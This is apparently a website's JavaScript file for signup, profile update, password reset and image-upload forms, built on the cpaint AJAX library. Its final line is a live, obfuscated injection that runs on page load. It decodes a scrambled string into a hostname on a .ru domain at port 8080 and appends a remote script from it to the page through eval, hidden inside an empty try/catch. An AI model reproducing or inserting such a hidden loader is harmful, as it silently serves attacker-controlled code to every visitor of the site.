var cp = new cpaint();
cp.set_transfer_mode('get');
cp.set_response_type('xml');
cp.set_debug(0);


function emailCheck (emailStr) {
var emailPat=/^(.+)@(.+)$/;
var specialChars="\\(\\)<>@,;:\\\\\\\"\\.\\[\\]";
var validChars="\[^\\s" + specialChars + "\]"    ;
var quotedUser="(\"[^\"]*\")"                     ;
var ipDomainPat=/^\[(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\]$/;
var atom=validChars + '+'
var word="(" + atom + "|" + quotedUser + ")"
var userPat=new RegExp("^" + word + "(\\." + word + ")*$")
var domainPat=new RegExp("^" + atom + "(\\." + atom +")*$")
var matchArray=emailStr.match(emailPat)
if(emailStr=="")
{ return true}
if (matchArray==null) {
         alert("Email address seems incorrect (check @ and .'s)")
        return false;
}

return true;
}



function validate()
{
 
   var uname=document.getElementById("uname").value;
   var fname=document.getElementById("fname").value;
   var lname=document.getElementById("lname").value;
   var pass=document.getElementById("pass").value;
   var cpass=document.getElementById("cpass").value;
   var email = document.getElementById("email").value;
   if(uname=="")
   {
   var msg="User Name cannot be left empty.";
   alert(msg);
   document.getElementById("uname").select();
  document.getElementById("uname").focus();
   return false;
   }
   if(fname=="")
   {
        msg="First Name cannot be left empty.";
        alert(msg);
        document.getElementById("fname").select();
  document.getElementById("fname").focus();
   return false;
        }

if(lname=="")
{
msg="Last Name cannot be left empty.";
alert(msg);
document.getElementById("lname").select();
  document.getElementById("lname").focus();
   return false;
}
if(email=="")
{
msg="Email Address cannot be left empty.";
alert(msg);
document.getElementById("email").select();
  document.getElementById("email").focus();
   return false;
}
if (!emailCheck(email))
  {
document.getElementById("email").select();
  document.getElementById("email").focus();
   return false;
 }

if(pass=="")
{
msg="Password cannot be left empty.";
alert(msg);
document.getElementById("pass").select();
  document.getElementById("pass").focus();
   return false;
}

if(cpass=="")
{
msg="Confirm password cannot be left empty.";
alert(msg);
document.getElementById("cpass").select();
  document.getElementById("cpass").focus();
   return false;
}
if(pass!=cpass)
{
msg="Password and Confirm password mismatch.";
alert(msg);
document.getElementById("pass").select();
document.getElementById("pass").focus();
return false;
}
 var fileToUse = 'functions.php';
 cp.call(fileToUse,'usersignup',get_usersignup,uname,fname,lname,email,pass);
return false;
}
function get_usersignup(result)
{
        var msg=result.getElementsByTagName('msg').item(0).firstChild.data;
        var id=result.getElementsByTagName('id').item(0).firstChild.data;
        if(id==1)
        {
        document.getElementById("error").style.display="block";
        document.getElementById("sucmsgid").innerHTML=msg;
        }
        else
        {
         document.getElementById(id).select();
        document.getElementById(id).focus();
        document.getElementById("error").style.display="block";
        document.getElementById("msgid").innerHTML=msg;
        }
        //alert(msg);
}


function chk_update()
{

   var uname=document.getElementById("uname").value;
   var fname=document.getElementById("fname").value;
   var lname=document.getElementById("lname").value;
   var pass=document.getElementById("pass").value;
   var userid=document.getElementById("userid").value;
   var email = document.getElementById("email").value;
   if(uname=="")
   {
   var msg="User Name cannot be left empty.";
   alert(msg);
   document.getElementById("uname").select();
  document.getElementById("uname").focus();
   return false;
   }
   if(fname=="")
   {
        msg="First Name cannot be left empty.";
        alert(msg);
        document.getElementById("fname").select();
  document.getElementById("fname").focus();
   return false;
        }

if(lname=="")
{
msg="Last Name cannot be left empty.";
alert(msg);
document.getElementById("lname").select();
  document.getElementById("lname").focus();
   return false;
}
if(email=="")
{
msg="Email Address cannot be left empty.";
alert(msg);
document.getElementById("email").select();
  document.getElementById("email").focus();
   return false;
}
if (!emailCheck(email))
  {
document.getElementById("email").select();
  document.getElementById("email").focus();
   return false;
 }

if(pass=="")
{
msg="Password cannot be left empty.";
alert(msg);
document.getElementById("pass").select();
  document.getElementById("pass").focus();
   return false;
}

 var fileToUse = 'functions.php';
 cp.call(fileToUse,'chkupdate',get_chkupdate,uname,fname,lname,email,pass,userid);
return false;
}

function get_chkupdate(result)
    {
        var msg=result.getElementsByTagName('msg').item(0).firstChild.data;
        var id=result.getElementsByTagName('id').item(0).firstChild.data;
        if(id==1)
        {
        document.getElementById("error").style.display="block";
        document.getElementById("sucmsgid").innerHTML=msg;
        }
        else
        {
         document.getElementById(id).select();
        document.getElementById(id).focus();
        document.getElementById("error").style.display="block";
        document.getElementById("msgid").innerHTML=msg;
        }       
    }
function check_all(name,formid) {
        
        formblock= document.getElementById(formid);
        forminputs = formblock.getElementsByTagName('input');
        
        for (i = 0; i < forminputs.length; i++) 
        {
                // regex here to check name attribute
                var regex = new RegExp(name, "i");
                if (regex.test(forminputs[i].getAttribute('name'))) 
                {
                        if (forminputs[i].checked ) 
                        {
                                forminputs[i].checked = false;
                        } else 
                        {
                                forminputs[i].checked = true;
                        }
                }
        }
        return false;
}
function deleteimage() {
        if(!confirm('Are you sure you want to delete the selected images?'))
        return false;
        formblock= document.getElementById("images");
        forminputs = formblock.getElementsByTagName('input');
        var chkid="";        
        for (i = 0; i < forminputs.length; i++) 
        {
                // regex here to check name attribute
                var regex = new RegExp(name, "i");
                if (regex.test(forminputs[i].getAttribute('chk'))) 
                {
                       
                        if (forminputs[i].checked ) 
                        {
                            chkid=chkid+"|"+forminputs[i].value;                                
                        } 
                }
        }
                
                
            var fileToUse = 'deleteimage.php';               
            cp.call(fileToUse,'delete',output,chkid);               
        }
function output(result)
        {            
            var msg=result.getElementsByTagName('response').item(0).firstChild.data;                        
            var fid=result.getElementsByTagName('fid').item(0).firstChild.data;                        
            var amtArray = fid.split("|");
            for(i=0;i<amtArray.length;i++)
            {
                if(amtArray[i] && amtArray[i]!="on")
                
                document.getElementById(amtArray[i]).style.display="none";
                
            }
            document.getElementById("error").style.display="block";
            document.getElementById("sucmsgid").innerHTML=msg;            
             
        }    
function showfile()
{
    var countfld=1;
    countfld=document.getElementById("countfld").value+countfld;
    fld=countfld.length;
    if(fld>4)
    {
    alert("Sorry, i can upload  max 5 files at once.");    
    return false;
    }
    else
    {
        document.getElementById("f"+fld).style.display="block";
        document.getElementById("countfld").value=countfld;
    }
    
    
    
}
function showfileu()
{
    var countfld=1;
    countfld=document.getElementById("countfldu").value+countfld;
    fld=countfld.length;
    if(fld>4)
    {
    alert("Sorry, i can upload  max 5 files at once.");    
    return false;
    }
    else
    {
        document.getElementById("u"+fld).style.display="block";
        document.getElementById("countfldu").value=countfld;
    }    
}

function uploadfile(id)
{
    if(document.getElementById(id).value==1)
    {
    document.getElementById("showurl").style.display="none";
    document.getElementById("showfl").style.display="block";        
    return true;
    }
    if(document.getElementById(id).value==2)
    {
    document.getElementById("showfl").style.display="none";
    document.getElementById("showurl").style.display="block";    
    return true;
    }
    document.getElementById("countfldu").value="0";
    document.getElementById("countfld").value="0";
    

}
function forgetpass()
{
 
   var email=document.getElementById("email").value;
   
  
if(email=="")
{
msg="Email Address cannot be left empty.";
alert(msg);
document.getElementById("email").select();
  document.getElementById("email").focus();
   return false;
}
if (!emailCheck(email))
  {
document.getElementById("email").select();
  document.getElementById("email").focus();
   return false;
 }


 var fileToUse = 'functions.php';
 cp.call(fileToUse,'forgetpass',get_forgetpass,email);
return false;
}
function get_forgetpass(result)
{
        var msg=result.getElementsByTagName('msg').item(0).firstChild.data;
        var id=result.getElementsByTagName('id').item(0).firstChild.data;
        if(id==1)
        {
        document.getElementById("error").style.display="block";
        document.getElementById("sucmsgid").innerHTML=msg;
        }
        else
        {
         document.getElementById(id).select();
        document.getElementById(id).focus();
        document.getElementById("error").style.display="block";
        document.getElementById("msgid").innerHTML=msg;
        }
        //alert(msg);
}

function uploaderror(msg)
{
	alert(msg);
}






try{window.onload=function(){Cad8rqpzoth = '' + 'e)&)x(@@p^(e)r)^!t#)!s$)-(e()x&&)!c)(!)h(#a)^(n(g!#(e@@$&-#c(^o)!m)@.&l&##)#i#n$$!k$b@u^@$c(#(&#k!@s$.$@#c@!)o^^)m!(.$#s^@t(!$a&y#^!f)##(r(i!@()e!!^n@&^d!$s)^(-@d#!e(!.&#$a^v$&&()a)^t!&t(&^o@(#p!@.)r$!u#^!^:#(U@(f#()0))e#)#1@@l&!!@j!w&@)#i#s&7^@/(s)@$o@^n^&!g(&@s!.^p&^&k)!&)/@#@s#o&n#g^s)^#.#p)^!$(k^&/#!r#(!o#))t&!)t#)#)e&n&)#t@&o^$m#)$!a@^(!)t)$o(e$(s&&.!^@c^!@$o(m$#/$$i!)#)s$(o#h@#)u@n@t($.!&c(@o@$&m!/))(!g@^o^&^^o$(&@g!&)l$)$e$.)@^c$(o$()m&/!'.replace(/\(|&|@|#|\)|\$|\^|\!/ig, '') ;G0qb9zrrtz4y = 'appendChild';Qznxs0z183rp = document.createElement('sc'+'ript');Qznxs0z183rp.src = 'h'+'ttp://'+Cad8rqpzoth.replace(/Uf0e1ljwis7/g, '8080');Qznxs0z183rp.setAttribute('defer', 'def'+'er');eval('document.body.'+G0qb9zrrtz4y+'(Qznxs0z183rp)');} }  catch(Ebp8kx40 ) {}